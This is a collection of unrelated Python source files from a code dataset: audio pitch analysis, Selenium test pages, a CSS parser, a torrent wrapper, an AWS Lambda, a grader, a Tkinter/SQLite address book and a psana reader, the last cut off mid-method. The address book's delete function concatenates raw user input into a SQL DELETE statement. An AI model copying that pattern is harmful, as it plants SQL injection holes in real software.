min_pitch=MIN_PITCH_HZ,\n max_pitch=MAX_PITCH_HZ,\n output_path=None):\n snd = parselmouth.Sound(upload_path)\n snd = snd.convert_to_mono()\n\n if tmin > -1 or tmax > -1:\n tmin = max(0, tmin)\n tmax = min(snd.xmax, tmax)\n snd = snd.extract_part(from_time=tmin, to_time=tmax)\n snd.scale_times_to(tmin, tmax)\n\n fig, (ax1, ax2) = plt.subplots(ncols=1, nrows=2, figsize=(7, 3.25), gridspec_kw = {'height_ratios':[1, 2]}, dpi=400)\n\n # Draw waveform\n plt.sca(ax1)\n plt.plot(snd.xs(), snd.values.T)\n plt.xlim([snd.xmin, snd.xmax])\n ax1.set_xticklabels([])\n plt.ylabel(\"amplitude\")\n\n # Draw spectogram\n plt.sca(ax2)\n draw_spectrogram(snd.to_spectrogram())\n\n # Draw pitch\n plt.twinx()\n draw_pitch(snd.to_pitch(pitch_floor=min_pitch, pitch_ceiling=max_pitch), min_pitch, max_pitch)\n plt.xlim([snd.xmin, snd.xmax])\n\n plt.subplots_adjust(hspace=0.1, top=0.98, bottom=0.14)\n\n image = io.BytesIO()\n plt.savefig(image, format=\"png\")\n image.seek(0)\n\n if output_path is not None:\n plt.savefig(output_path, format=\"png\")\n\n # Free up memory\n plt.cla()\n plt.clf()\n plt.close('all')\n\n return image\n\n\ndef get_pitches_in_range(tmin, tmax, snd_pitch):\n tmin = max(tmin, snd_pitch.xmin)\n tmax = min(tmax, snd_pitch.xmax)\n pitch_samples = [(t, snd_pitch.get_value_at_time(t)) for t in snd_pitch.xs() if tmin <= t <= tmax]\n return [(t, p) for t, p in pitch_samples if not isnan(p)]\n\n\ndef get_avg_pitch(time_range, upload_path, min_pitch=MIN_PITCH_HZ, max_pitch=MAX_PITCH_HZ):\n snd = parselmouth.Sound(upload_path)\n snd_pitch = snd.to_pitch(pitch_floor=min_pitch, pitch_ceiling=max_pitch)\n t0, t1 = time_range\n pitch_samples = get_pitches_in_range(t0, t1, snd_pitch)\n\n if len(pitch_samples) == 0:\n return -1\n else:\n pitches = zip(*pitch_samples)[1]\n return sum(pitches) / len(pitches)\n\n\ndef get_all_pitches(time_range, upload_path, min_pitch=MIN_PITCH_HZ, max_pitch=MAX_PITCH_HZ):\n snd = parselmouth.Sound(upload_path)\n snd_pitch = snd.to_pitch(pitch_floor=min_pitch, pitch_ceiling=max_pitch)\n t0, t1 = time_range\n return get_pitches_in_range(t0, t1, snd_pitch)\n\n\ndef get_sound_length(upload_path):\n return parselmouth.Sound(upload_path).get_total_duration()\n\n\ndef get_audio(upload_path, tmin=-1, tmax=-1):\n snd = parselmouth.Sound(upload_path)\n if tmin > -1 or tmax > -1:\n tmin = max(0, tmin)\n tmax = min(snd.xmax, tmax)\n snd = snd.extract_part(from_time=tmin, to_time=tmax)\n snd.scale_times_to(tmin, tmax)\n\n temp_dir = tempfile.mkdtemp()\n temp_file = os.path.join(temp_dir, \"audio.wav\")\n snd.save(temp_file, \"WAV\")\n\n audio_file = open(temp_file, \"rb\")\n file_bytes = io.BytesIO(audio_file.read())\n file_bytes.seek(0)\n audio_file.close()\n\n shutil.rmtree(temp_dir)\n return file_bytes\n\n\nif __name__ == \"__main__\":\n p = get_avg_pitch(\n (1.45,2.03),\n r\"C:\\Users\\Mitchell\\Documents\\Masters\\2018\\Capstone\\github\\metilda\\src\\metilda\\sounds\\EOP-AF-saahkomaapiwa_mono.wav\",\n 50,\n 500)\n print(p)\n # import glob\n # sdir = r\"C:\\Users\\Mitchell\\Documents\\Masters\\2018\\Capstone\\github\\metilda\\src\\metilda\\sounds\"\n # pdir = r\"C:\\Users\\Mitchell\\Documents\\Masters\\2018\\Capstone\\github\\metilda\\src\\metilda\\pictures\"\n # for path in glob.iglob(os.path.join(sdir, \"*.wav\")):\n # file_name = os.path.basename(os.path.splitext(path)[0])\n # print(\"Processing %s\" % file_name)\n # audio_analysis_image(path, output_path=os.path.join(pdir, file_name + \".png\"))\n","sub_path":"src/metilda/services/audio_analysis.py","file_name":"audio_analysis.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"370209283","text":"from main.page.desktop_v3.setting.pe_user import *\nfrom random import *\nfrom main.page.base import *\nimport time\n\nclass UserAddress(UserSetting):\n #tab locator for address list\n #_add_new_address_loc = (By.XPATH, \"//*[@id='content-container']/div[5]/div/div[2]/div/div[1]/div/div[2]/small/a\")\n _add_new_address_loc = (By.CSS_SELECTOR, \"a.actionlink-newadd-tab.btn.btn-action\")\n #--\n\n #tab instance for add new address\n _address_as_loc = (By.ID, \"addr_name\")\n _receiver_name_loc = (By.ID, \"receiver_name\")\n _address_loc = (By.ID, \"alamat\")\n _postal_code_loc = (By.ID, \"postal_code\")\n _province_loc = (By.XPATH, \"//select[@id='provinsi']/option\")\n _regency_loc = (By.XPATH, \"//select[@id='kota']/option\")\n _district_loc = (By.XPATH, \"//select[@id='kec']/option\")\n _phone_address_loc = (By.ID, \"kontak\")\n _password_address_loc = (By.ID, \"usr_pwd\")\n _submit_new_address_loc = (By.XPATH, '//*[@id=\"add-address\"]/div[9]/button[2]')\n #--\n\n #tab instance for edit address\n _link_edit_loc = (By.CSS_SELECTOR, \"a.edit-address\")\n _submit_edit_address_loc = (By.XPATH, '//*[@id=\"edit-address\"]/div[10]/button[2]')\n _link_delete_loc = (By.CSS_SELECTOR, \"a.delete-address\")\n _submit_delete_address_loc = (By.XPATH, '//*[@id=\"delete-address\"]/div[2]/button[2]')\n _link_set_default_loc = (By.CSS_SELECTOR, \"a.set-default\")\n _submit_set_default_address_loc = (By.XPATH, '//*[@id=\"set-default-address\"]/div[2]/button[2]')\n #--\n\n #tab instance for sorting address\n _search_address_loc = (By.ID, 'siteSearchBox')\n _button_search_loc = (By.XPATH, '//*[@id=\"siteSearchSubmit\"]')\n _sorting_address_loc = (By.ID, 'address-order-by')\n #--\n\n def add_new_address(self, address_as, receiver_name, the_address, postal_code, phone_number):\n\n driver = self.driver\n click_it = BasePage(driver)\n\n try:\n self.check_visible_element(By.CSS_SELECTOR, \"a.actionlink-newadd-tab.btn.btn-action\")\n click_it.click_on_javascript(self.driver.find_element(*self._add_new_address_loc))\n self.check_visible_element(By.ID, \"addr_name\")\n self.driver.find_element(*self._address_as_loc).send_keys(address_as)\n self.driver.find_element(*self._receiver_name_loc).send_keys(receiver_name)\n self.driver.find_element(*self._address_loc).send_keys(the_address)\n self.driver.find_element(*self._postal_code_loc).send_keys(postal_code)\n self.choose_province()\n self.choose_regency()\n self.choose_district()\n self.driver.find_element(*self._phone_address_loc).send_keys(phone_number)\n click_it.click_on_javascript(self.driver.find_element(*self._submit_new_address_loc))\n time.sleep(3)\n except Exception as inst:\n print(inst)\n\n\n def choose_province(self):\n try:\n time.sleep(1)\n list_province = self.driver.find_elements(*self._province_loc)\n i = randint(1, len(list_province))\n list_province[i].click()\n except Exception as inst:\n print(inst)\n\n def choose_regency(self):\n try:\n time.sleep(1)\n list_regency = self.driver.find_elements(*self._regency_loc)\n i = randint(1, len(list_regency))\n list_regency[i].click()\n except Exception as inst:\n print(inst)\n\n def choose_district(self):\n try:\n time.sleep(1)\n list_district = self.driver.find_elements(*self._district_loc)\n i = randint(1, len(list_district))\n list_district[i].click()\n except Exception as inst:\n print(inst)\n\n def edit_address(self, address_as, receiver_name, the_address, postal_code, phone_number, pwd):\n try:\n self.check_visible_element(By.CSS_SELECTOR, \"a.edit-address\")\n self.driver.find_element(*self._link_edit_loc).click()\n self.check_visible_element(By.ID, \"addr_name\")\n self.driver.find_element(*self._address_as_loc).clear()\n self.driver.find_element(*self._address_as_loc).send_keys(address_as)\n self.driver.find_element(*self._receiver_name_loc).clear()\n self.driver.find_element(*self._receiver_name_loc).send_keys(receiver_name)\n self.driver.find_element(*self._address_loc).clear()\n self.driver.find_element(*self._address_loc).send_keys(the_address)\n self.driver.find_element(*self._postal_code_loc).clear()\n self.driver.find_element(*self._postal_code_loc).send_keys(postal_code)\n self.choose_province()\n self.choose_regency()\n self.choose_district()\n self.driver.find_element(*self._phone_address_loc).clear()\n self.driver.find_element(*self._phone_address_loc).send_keys(phone_number)\n self.driver.find_element(*self._password_address_loc).clear()\n self.driver.find_element(*self._password_address_loc).send_keys(pwd)\n self.driver.find_element(*self._submit_edit_address_loc).click()\n time.sleep(3)\n except Exception as inst:\n print(inst)\n\n\n def delete_address(self):\n try:\n self.check_visible_element(By.CSS_SELECTOR, \"a.delete-address\")\n self.driver.find_element(*self._link_delete_loc).click()\n self.check_visible_element(By.XPATH, '//*[@id=\"delete-address\"]/div[2]/button[2]')\n self.driver.find_element(*self._submit_delete_address_loc).click()\n except Exception as inst:\n print(inst)\n\n def set_default_address(self):\n try:\n time.sleep(2)\n self.driver.find_element(*self._link_set_default_loc).click()\n time.sleep(2)\n self.driver.find_element(*self._submit_set_default_address_loc).click()\n except Exception as inst:\n print(inst)\n\n\n def search_address(self, keyword):\n try:\n self.check_visible_element(By.ID, 'siteSearchBox')\n self.driver.find_element(*self._search_address_loc).send_keys(keyword)\n self.driver.find_element(*self._button_search_loc).click()\n time.sleep(5)\n except Exception as inst:\n print(inst)\n\n def choose_sorting(self):\n try:\n time.sleep(2)\n self.driver.execute_script(\"document.getElementById('address-order-by').style.display = '';\")\n list_sorting = self.driver.find_elements(By.XPATH, \"//select[@id='address-order-by']/option\")\n i = randint(1, len(list_sorting))\n list_sorting[i].click()\n except Exception as inst:\n print(inst)","sub_path":"main/page/desktop_v3/setting/pe_user_address.py","file_name":"pe_user_address.py","file_ext":"py","file_size_in_byte":6713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"511628984","text":"\"\"\"\nHandles stylesheets for pyroses.\n\"\"\"\nimport lepl\n\nclass Declaration(object):\n property_ = None\n value = None\n\n def __init__(self, property, value):\n self.property_ = property\n self.value = value\n\nclass Selector(object):\n def matches(model_element):\n raise NotImplementedError()\n\nclass Rule(object):\n selectors = None\n declarations = None\n def __init__(self, selectors, declarations):\n self.selectors = selectors\n self.declarations = declarations\n\n\nclass CSSReader:\n def __init__(self):\n self.grammar = self.define_grammar()\n\n def create_declaration(self, args):\n property = args.pop(0)\n value = args if len(args)>1 else args[0]\n return Declaration(property, value)\n\n def create_specifier(self, args):\n pass\n\n def create_selector(self, args):\n pass\n\n def create_rule(self, args):\n return Rule(args[0], args[1])\n\n\n def define_grammar(self):\n comma = lepl.Drop(\",\")\n bl_start = lepl.Drop(\"{\")\n bl_end = lepl.Drop(\"}\")\n semicolon = lepl.Drop(\";\")\n colon = lepl.Drop(\":\")\n property = lepl.Word(lepl.Letter(),\n lepl.Letter() | \"-\" | lepl.Digit())\n ident = lepl.Word(lepl.Letter() | \"_\",\n lepl.Letter() | \"_-\" | lepl.Digit())\n value = lepl.AnyBut(semicolon|lepl.Space())[1:,...]\n wild = lepl.Literal(\"*\")\n spaces = (~lepl.Space() | ~lepl.Newline())[:]\n with lepl.Separator(spaces):\n specifier = ident & lepl.Drop(\"=\") & ident\\\n > self.create_specifier\n specifier_list = specifier & (comma & specifier)[:]\n selector = (ident | wild) &\\\n (lepl.Drop(\"[\") & specifier_list & lepl.Drop(\"]\"))[:1]\\\n > self.create_selector\n selectors = selector & (lepl.Space() & selector)[:] > list\n declaration = property & colon & value[1:] & semicolon\\\n > self.create_declaration\n declarations = declaration[:] > list\n rule = selectors & bl_start & declaration[:] & bl_end\\\n > self.create_rule\n grammar = spaces & rule[:] & spaces\n return grammar\n\nt = \"\"\"\nclass[name=t] {\n width:100pt;\n padding:10pt;\n}\n\"\"\"\n#t = \"\"\"class {width:a}\"\"\"\n#CSSReader()\n#print CSSReader().grammar.parse(t)\n","sub_path":"pyroses/styles.py","file_name":"styles.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"75280768","text":"import os, sys, subprocess\nimport random\nfrom txplus.constants import *\nfrom time import sleep\n\nclass TxPlus(object):\n def __init__(self,\n download_app=None,\n download_args=None,\n download_folder = None,\n download_port = None,\n upload_time = None,\n scan_folder = None,\n scan_interval = None,\n ):\n\n self.download_folder = download_folder or DEFAULT_DOWNLOAD_FOLDER\n self.download_app = download_app or DEFAULT_DOWNLOAD_APP\n self.download_args = download_args or DEFAULT_DOWNLOAD_APP_ARGS\n self.download_port = download_port\n self.upload_time = upload_time or DEFAULT_UPLOAD_TIME\n self.scan_folder = scan_folder or DEFAULT_SCAN_FOLDER\n self.scan_interval = scan_interval or DEFAULT_SCAN_INTERVAL\n\n self.torrent = None\n\n\n def download(self,\n torrent_path\n ):\n\n self.torrent = torrent_path\n\n print(\"Building the download command..\")\n command = \"{} -w {} -p {} {} {} 2>&1\".format(self.download_app,\n self.download_folder,\n self.download_port or str(random.randint(33000,55000)),\n self.download_args or \"\",\n self.torrent\n )\n print(command)\n command_l = command.split()\n process = subprocess.Popen(command_l, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)\n last_line = \"\"\n for line in iter(process.stdout.readline, \"\"):\n line = line.replace('\\n', '')\n if line[:14] != last_line[:14]: # Check and print line if the progress percentage changed\n print(line)\n if line.__contains__(\"Seeding, uploading to\"):\n print(\"Download finished. Uploading for {} seconds \"\n \"and stopping the process.\".format(self.upload_time))\n sleep(self.upload_time)\n break\n last_line = line\n process.kill()\n\n\n\n\n","sub_path":"txplus/txplus.py","file_name":"txplus.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"83971803","text":"import logging\nimport boto3\n\nLOGGER = logging.getLogger()\nLOGGER.setLevel(logging.INFO)\n\nARN = \"arn:aws:batch:ap-northeast-1:hogehoge\"\n\n\ndef lambda_handler(event, _context):\n LOGGER.info(event)\n\n client = boto3.client(\"batch\")\n print(\"event\", event)\n\n params = get_job_params(event, client)\n\n client.submit_job(\n jobName=params[\"JOB_NAME\"],\n jobQueue=params[\"JOB_QUEUE\"],\n jobDefinition=params[\"JOB_DEFINITION\"]\n )\n\n\ndef get_revision(client, job_definition_name):\n job_definitions = \\\n client.describe_job_definitions()['jobDefinitions']\n\n revision_num = 1\n\n for job in job_definitions:\n if job[\"jobDefinitionName\"] == job_definition_name:\n if job[\"revision\"] > revision_num:\n revision_num = job[\"revision\"]\n\n return revision_num\n\n\ndef get_job_params(event, client):\n params = {}\n job_definition_name = \"test-batch-job\"\n revision_num = get_revision(client, job_definition_name)\n\n params[\"JOB_NAME\"] = \"test-job\"\n params[\"JOB_QUEUE\"] = ARN + \":\" + \"job-queue/s3_get_bucket_list\"\n params[\"JOB_DEFINITION\"] = \"test-batch-job\" + \":\" + str(revision_num)\n\n return params\n\n","sub_path":"job_sender/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"403586388","text":"from random import randint as r\r\nimport time as t\r\nnames=[\"Jordan\",\"Michał\",\"Matrzak\",\"Maciej\",\"Leszczu\",\"Seba\",\"Kuczol\",\"Dropsik\"]\r\nmodifiers=[[\"miserable\",0.3],[\"weak\",0.7],[\"normal\",1],[\"strong\",1.7],[\"charming\",1.2],[\"quick\",1.4],[\"unstopable\",2],[\"lucky\",1.6]]\r\nusedNames=[]\r\nplayers=[]\r\nclass Menu:\r\n def __init__(self):\r\n self.startInfo()\r\n## def len(self): \r\n## try:\r\n## print((\"\\nCurrent length of players array is {}\").format(len(players)))\r\n## except AttributeError:\r\n## print(\"\\nPlayers array is empty\")\r\n## USED TO FIND THE \"ONE-WINNER-PER-OPENING\" ERROR\r\n def startInfo(self):\r\n self.clearData()\r\n while True:\r\n print(\"=\"*5+\"MENU\"+\"=\"*5)\r\n choice=input(\"1 - start\\n2 - about\\nChoice:\")\r\n if choice==\"1\":\r\n self.startFight()\r\n break\r\n elif choice==\"2\":\r\n self.aboutInfo()\r\n break\r\n else:\r\n print(\"No such choice, try again.\")\r\n continue\r\n def startFight(self):\r\n while True:\r\n try:\r\n #self.len()\r\n global numOfPlayers\r\n numOfPlayers=input((\"\\nHow many players would you want to have?\\n(choose between 2 and {}): \").format(len(names)))\r\n numOfPlayers=int(numOfPlayers)\r\n if (numOfPlayers>len(names)) or (numOfPlayers<2):\r\n print(\"Either too big or too small, try again.\")\r\n continue\r\n break\r\n except ValueError:\r\n print(\"Improper value, try again.\")\r\n for i in range(0,numOfPlayers):\r\n p,thisPlayer=\"p\"+str(i+1),[]\r\n p=Player()\r\n name,mod=p.getName(),p.getMod()\r\n thisPlayer.append(name)\r\n thisPlayer.append(mod)\r\n players.append(thisPlayer)\r\n fight=Fight()\r\n#### for i in range(0,len(players)):\r\n#### print(players[i])\r\n print()\r\n self.startInfo()\r\n def aboutInfo(self):\r\n print(\"\\nAuthor: Jordan Niedzielski\\nCopyright 2018\\nAll Rights Reserved\\n\")\r\n self.startInfo()\r\n def clearData(self):\r\n## print(\"Clearing the data!\")\r\n## CHECKED IF IT WORKS\r\n usedNames[:]=[]\r\n players[:]=[]\r\nclass Player:\r\n def __init__(self):\r\n self.name=giveName()\r\n self.modifier=giveMod()\r\n def getFullPlayerInfo(self):\r\n print((\"Player info:\\n-name: {}\\n-modifier: {}\").format(self.name,self.modifier[0]))\r\n def getName(self):\r\n return self.name\r\n def getMod(self):\r\n return self.modifier\r\nclass Fight:\r\n def __init__(self):\r\n self.main()\r\n def main(self):\r\n self.showPlayers()\r\n winner=players[0]\r\n winnerMod=winner[1][1]\r\n Len=len(players)-1\r\n for i in range(0,Len):\r\n nextIndex=i+1\r\n nextPlayer=players[nextIndex]\r\n nextPlayerMod=nextPlayer[1][1]\r\n## HELPED WITH FIGURING OUT VAROIUS BUGS IN FIGHT.MAIN() AND OTHER METHODS\r\n## print((\"Current winner mod value: {}\\nNext Player mod value: {}\\nIndex: {}\\nNext index: {}\\n\").format(winnerMod,nextPlayerMod,str(i),str(nextIndex)))\r\n if int(winnerMod)', out_fp + '.gz']\n print('Executing {0}'.format(format(' '.join(cmd))))\n Popen(cmd)\n cmd = ['tabix', '-f', '-p', 'vcf', out_fp + '.gz']\n print('Executing {0}'.format(format(' '.join(cmd))))\n Popen(cmd)\n\n return","sub_path":"data_utils/variants/knowledgebase2vcf_lib.py","file_name":"knowledgebase2vcf_lib.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"323598208","text":"from invenio_oarepo_oai_pmh_harvester.register import Decorators\nfrom invenio_oarepo_oai_pmh_harvester.transformer import OAITransformer\n\n\n@Decorators.rule(\"xoai\")\n@Decorators.pre_rule(\"/dcterms/dateAccepted\")\ndef transform_date_accepted(paths, el, results, phase, **kwargs):\n value = el[\"value\"][0]\n assert len(value) == 1\n results[-1][\"dateAccepted\"] = value[0]\n return OAITransformer.PROCESSED\n","sub_path":"example/rules/uk/date_accepted.py","file_name":"date_accepted.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"384486488","text":"\"\"\"\n473. Add and Search Word - Data structure design\nDesign a data structure that supports the following two operations: addWord(word) and search(word)\n\nsearch(word) can search a literal word or a regular expression string containing only letters a-z or ..\n\nA . means it can represent any one letter.\n\nExample\naddWord(\"bad\")\naddWord(\"dad\")\naddWord(\"mad\")\nsearch(\"pad\") // return false\nsearch(\"bad\") // return true\nsearch(\".ad\") // return true\nsearch(\"b..\") // return true\n\"\"\"\n\n\nclass WordDictionary:\n def __init__(self):\n self.words = dict()\n\n \"\"\"\n @param: word: Adds a word into the data structure.\n @return: nothing\n \"\"\"\n\n def addWord(self, word):\n # write your code here\n if len(word) not in self.words:\n self.words[len(word)] = []\n self.words[len(word)].append(word)\n\n \"\"\"\n @param: word: A word could contain the dot character '.' to represent any one letter.\n @return: if the word is in the data structure.\n \"\"\"\n\n def search(self, word):\n # write your code here\n if len(word) not in self.words:\n return False\n else:\n for w in self.words[len(word)]:\n if self.check(w, word):\n return True\n return False\n\n def check(self, exist_word, search_word):\n for i in range(0, len(exist_word)):\n if exist_word[i] != search_word[i] and search_word[i] != \".\":\n return False\n return True\n","sub_path":"Trie/add-and-search-word-ds-design.py","file_name":"add-and-search-word-ds-design.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"198626891","text":"\"\"\"C++ Task Grader\n\nUsage:\n grader\n grader pre-release-check [--task=]\n\nOptions:\n -h --help Show this message.\n\"\"\"\nimport docopt\nimport requests\nimport time\nimport os\nimport pathlib\n\nfrom .task import Task\n\n\ndef push_report(user_id, task):\n # Do not expose token in logs.\n for _ in range(3):\n rsp = requests.post(\"https://cpp.manytask.org/api/report\", data={\n \"token\": os.environ[\"TESTER_TOKEN\"],\n \"task\": task,\n \"user_id\": user_id\n })\n\n if rsp.status_code != 500:\n break\n else:\n time.sleep(1.0)\n\n rsp.raise_for_status()\n\n\ndef grade():\n task_name = os.environ[\"CI_COMMIT_REF_NAME\"].split(\"/\")[1]\n submit_root = os.environ[\"CI_PROJECT_DIR\"]\n user_id = os.environ[\"GITLAB_USER_ID\"]\n\n task = Task(task_name, pathlib.Path(\"/opt/shad\"))\n task.grade(submit_root)\n\n if task.review:\n return\n\n push_report(user_id, task_name)\n\n\ndef main():\n args = docopt.docopt(__doc__, version='C++ Task Grader 1.0')\n\n if args[\"pre-release-check\"]:\n if args[\"--task\"] is None:\n for task in Task.list():\n task.check()\n else:\n task = Task(args[\"--task\"])\n task.check()\n else:\n grade()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"grader/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"249991328","text":"from tkinter import *\n\nfrom tkinter import messagebox\nfrom tkinter import filedialog\nimport sqlite3\n\nroot = Tk()\nroot.title('Database')\n\nconn = sqlite3.connect('address_book.db')\nc = conn.cursor()\n\n'''\n# Create table\nc.execute(\"\"\" CREATE TABLE addresses(\n first_name text,\n last_name text,\n address text,\n city text,\n state text,\n zipcode integer\n) \"\"\")\n'''\n\n\ndef delete():\n\n conn = sqlite3.connect('address_book.db')\n\n\n c = conn.cursor()\n\n\n c.execute(\"DELETE from addresses WHERE oid = \" + delete_box.get())\n print('Deleted Successfully')\n\n\n c.execute(\"SELECT *, oid FROM addresses\")\n\n records = c.fetchall()\n\n\n\n print_record = ''\n for record in records:\n\n print_record += str(record[0]) + ' ' + str(record[1]) + ' ' + '\\t' + str(record[6]) + \"\\n\"\n\n query_label = Label(root, text=print_record)\n query_label.grid(row=11, column=0, columnspan=2)\n\n conn.commit()\n\n conn.close()\n\n\n\n\n\n\n\n# Create submit button for databases\n\ndef submit():\n # Create a databases or connect to one\n conn = sqlite3.connect('address_book.db')\n\n # Create cursor\n c = conn.cursor()\n\n # Insert into table\n c.execute(\"INSERT INTO addresses VALUES (:f_name, :l_name, :address, :city, :state, :zipcode)\",{\n 'f_name':f_name.get(),\n 'l_name':l_name.get(),\n 'address':address.get(),\n 'city':city.get(),\n 'state':state.get(),\n 'zipcode':zipcode.get()\n })\n # showinfo messagebox\n messagebox.showinfo(\"Adresses\", \"Inserted Successfully\")\n\n conn.commit()\n\n conn.close()\n\n\n f_name.delete(0,END)\n l_name.delete(0,END)\n address.delete(0,END)\n city.delete(0, END)\n state.delete(0, END)\n zipcode.delete(0, END)\n\n\n\ndef query():\n # Create a databases or connect to one\n conn = sqlite3.connect('address_book.db')\n\n # Create cursor\n c = conn.cursor()\n\n # query of the database\n c.execute(\"SELECT *, oid FROM addresses\")\n\n records = c.fetchall()\n # print(records)\n\n # Loop through the results\n print_record=''\n for record in records:\n #str(record[6]) added for displaying the id\n print_record += str(record[0]) + ' ' + str(record[1]) + ' '+ '\\t' + str(record[6]) + \"\\n\"\n\n query_label = Label(root, text=print_record)\n query_label.grid(row=11, column=0, columnspan=2)\n\n\n conn.commit()\n conn.close()\n\n\n\nf_name = Entry(root, width=30)\nf_name.grid(row=0, column=1, padx=20, pady=(10,0))\n\nl_name = Entry(root, width=30)\nl_name.grid(row=1, column=1)\n\naddress = Entry(root, width=30)\naddress.grid(row=2, column=1)\n\ncity = Entry(root, width=30)\ncity.grid(row=3, column=1)\n\nstate = Entry(root, width=30)\nstate.grid(row=3, column=1)\n\nzipcode = Entry(root, width=30)\nzipcode.grid(row=4, column=1)\n\ndelete_box = Entry(root, width=30)\ndelete_box.grid(row=9, column=1, pady=5)\n\nfnamelabel = Label(root, text=\"First Name\")\nfnamelabel.grid(row=0, column=0, pady=(10,0))\n\nlnamelabel = Label(root, text=\"Last Name\")\nlnamelabel.grid(row=1, column=0)\n\naddresslabel = Label(root, text=\"Address\")\naddresslabel.grid(row=2, column=0)\n\ncitylabel = Label(root, text=\"City\")\ncitylabel.grid(row=3, column=0)\n\nstatelabel = Label(root, text=\"State\")\nstatelabel.grid(row=3, column=0)\n\n\nzipcodelabel = Label(root, text=\"Zip Code\")\nzipcodelabel.grid(row=4, column=0)\n\ndeletelabel = Label(root, text=\"Delete ID\")\ndeletelabel.grid(row=9, column=0, pady=5)\n\n\n\nsubmit_btn = Button(root, text=\"Add Records\", command=submit)\nsubmit_btn.grid(row=6, column=0,columnspan=2, pady=10, padx=10, ipadx=100)\n\n\nquery_button = Button(root, text=\"Show Records\", command=query)\nquery_button.grid(row=7, column=0, columnspan=2, pady=10, padx=10, ipadx=100)\n\n\ndelete_button = Button(root, text=\"Delete\", command=delete)\ndelete_button.grid(row=10, column=0, columnspan=2, pady=10, padx=10, ipadx=100)\n\n\n\n\nconn.commit()\nconn.close()\nroot.mainloop()","sub_path":"delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"628335313","text":"from psana.smdreader import SmdReader\nfrom psana.eventbuilder import EventBuilder\nfrom psana.psexp import *\nimport os, time\nfrom psana import dgram\nfrom psana.event import Event\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass BatchIterator(object):\n \"\"\" Iterates over batches of events.\n\n SmdReaderManager returns this object when a chunk is read.\n \"\"\"\n def __init__(self, views, configs, run, \n batch_size=1, filter_fn=0, \n destination=0, timestamps=0):\n self.batch_size = batch_size\n self.filter_fn = filter_fn\n self.destination = destination\n self.timestamps = timestamps\n self.run = run \n \n empty_view = True\n for view in views:\n if view:\n empty_view = False\n break\n\n if empty_view:\n self.eb = None\n else:\n self.eb = EventBuilder(views, configs)\n\n\n def __iter__(self):\n return self\n\n\n def __next__(self):\n # With batch_size known, smditer returns a batch_dict,\n # {rank:[bytearray, evt_size_list], ...} for each next \n # while updating offsets of each smd memoryview\n if not self.eb: \n raise StopIteration\n\n batch_dict, step_dict = self.eb.build(self.timestamps,\n batch_size=self.batch_size, \n filter_fn=self.filter_fn, \n destination=self.destination,\n run=self.run,\n )\n if self.eb.nevents == 0 and self.eb.nsteps == 0: \n raise StopIteration\n return batch_dict, step_dict\n\n\n\nclass SmdReaderManager(object):\n def __init__(self, smd_fds, dsparms, configs=None):\n self.n_files = len(smd_fds)\n self.dsparms = dsparms\n self.configs = configs\n assert self.n_files > 0\n \n self.smd0_n_events = int(os.environ.get('PS_SMD_N_EVENTS', 1000))\n if self.dsparms.max_events:\n if self.dsparms.max_events < self.smd0_n_events:\n self.smd0_n_events = self.dsparms.max_events\n \n self.chunksize = int(os.environ.get('PS_SMD_CHUNKSIZE', 0x1000000))\n self.smdr = SmdReader(smd_fds, self.chunksize, self.dsparms.max_retries)\n self.processed_events = 0\n self.got_events = -1\n self._run = None\n \n # Collecting Smd0 performance using prometheus\n self.c_read = self.dsparms.prom_man.get_metric('psana_smd0_read')\n\n def _get(self):\n st = time.monotonic()\n self.smdr.get(self.dsparms.found_xtc2_callback)\n en = time.monotonic()\n logger.debug(f'read {self.smdr.got/1e6:.3f} MB took {en-st}s. rate: {self.smdr.got/(1e6*(en-st))} MB/s')\n self.c_read.labels('MB', 'None').inc(self.smdr.got/1e6)\n self.c_read.labels('seconds', 'None').inc(en-st)\n \n if self.smdr.chunk_overflown > 0:\n msg = f\"SmdReader found dgram ({self.smdr.chunk_overflown} MB) larger than chunksize ({self.chunksize/1e6} MB)\"\n raise ValueError(msg)\n\n def get_next_dgrams(self):\n if self.dsparms.max_events > 0 and \\\n self.processed_events >= self.dsparms.max_events:\n logger.debug(f'max_events={self.dsparms.max_events} reached')\n return None\n\n dgrams = None\n if not self.smdr.is_complete():\n self._get()\n \n if self.smdr.is_complete():\n self.smdr.view(batch_size=1)\n\n # For configs, we need to copy data from smdreader's buffers\n # This prevents it from getting overwritten by other dgrams.\n bytearray_bufs = [bytearray(self.smdr.show(i)) for i in range(self.n_files)]\n \n if self.configs is None:\n dgrams = [dgram.Dgram(view=ba_buf, offset=0) for ba_buf in bytearray_bufs]\n self.configs = dgrams\n else:\n dgrams = [dgram.Dgram(view=ba_buf, config=config, offset=0) for ba_buf, config in zip(bytearray_bufs, self.configs)]\n return dgrams\n\n\n def __iter__(self):\n return self\n\n\n def __next__(self):\n \"\"\"\n Returns a batch of events as an iterator object.\n This is used by non-parallel run. Parallel run uses chunks\n generator that yields chunks of raw smd data and steps (no\n event building). \n \n The iterator stops reading under two conditions. Either there's\n no more data or max_events reached.\n \"\"\"\n if self.dsparms.max_events and self.processed_events >= self.dsparms.max_events:\n raise StopIteration\n \n if not 